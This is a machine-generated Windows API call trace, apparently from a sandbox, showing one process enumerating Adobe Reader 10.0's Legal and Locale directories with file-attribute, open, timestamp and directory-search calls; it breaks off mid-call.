[0251.319] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sky"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0251.319] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.319] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.319] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.319] GetLastError () returned 0x12 [0251.319] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.319] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.319] GetLastError () returned 0x12 [0251.319] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.319] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\slv"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.320] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\slv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.320] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.321] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.321] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.321] GetLastError () returned 0x12 [0251.321] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.321] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.321] GetLastError () returned 0x12 [0251.321] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.321] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\suo"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.321] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\suo"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0251.321] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.322] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.322] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.322] GetLastError () returned 0x12 [0251.322] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.322] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.322] GetLastError () returned 0x12 [0251.322] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.322] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sve"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.322] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sve"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.322] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.322] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.323] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.323] GetLastError () returned 0x12 [0251.323] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.323] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.323] GetLastError () returned 0x12 [0251.323] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.323] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\tur"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.324] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\tur"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0251.324] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.324] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.324] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.324] GetLastError () returned 0x12 [0251.324] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.324] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.324] GetLastError () returned 0x12 [0251.324] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.325] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ukr"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.325] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ukr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.325] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.325] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.325] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.325] GetLastError () returned 0x12 [0251.325] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.325] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.325] GetLastError () returned 0x12 [0251.325] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.325] GetLastError () returned 0x12 [0251.325] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.326] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.326] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0251.327] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0251.327] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0251.327] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0251.328] GetLastError () returned 0x12 [0251.328] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5e0 [0251.329] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.329] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.333] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0251.333] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.333] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.333] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd4e0 [0251.335] GetLastError () returned 0x12 [0251.335] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.335] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.335] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\services"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.336] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0251.337] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0251.337] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0251.337] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd4e0 [0251.337] GetLastError () returned 0x12 [0251.337] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd620 [0251.337] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.337] GetLastError () returned 0x12 [0251.337] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0251.337] GetLastError () returned 0x12 [0251.337] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.337] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.338] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.338] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.338] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.338] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.340] GetLastError () returned 0x12 [0251.340] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd620 [0251.340] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.340] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\services"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.342] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.342] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0251.342] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0251.342] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd560 [0251.342] GetLastError () returned 0x12 [0251.342] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd4e0 [0251.342] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.342] GetLastError () returned 0x12 [0251.342] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.342] GetLastError () returned 0x12 [0251.342] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0251.342] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.343] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0251.343] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.344] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.344] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd620 [0251.346] GetLastError () returned 0x12 [0251.346] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\*", 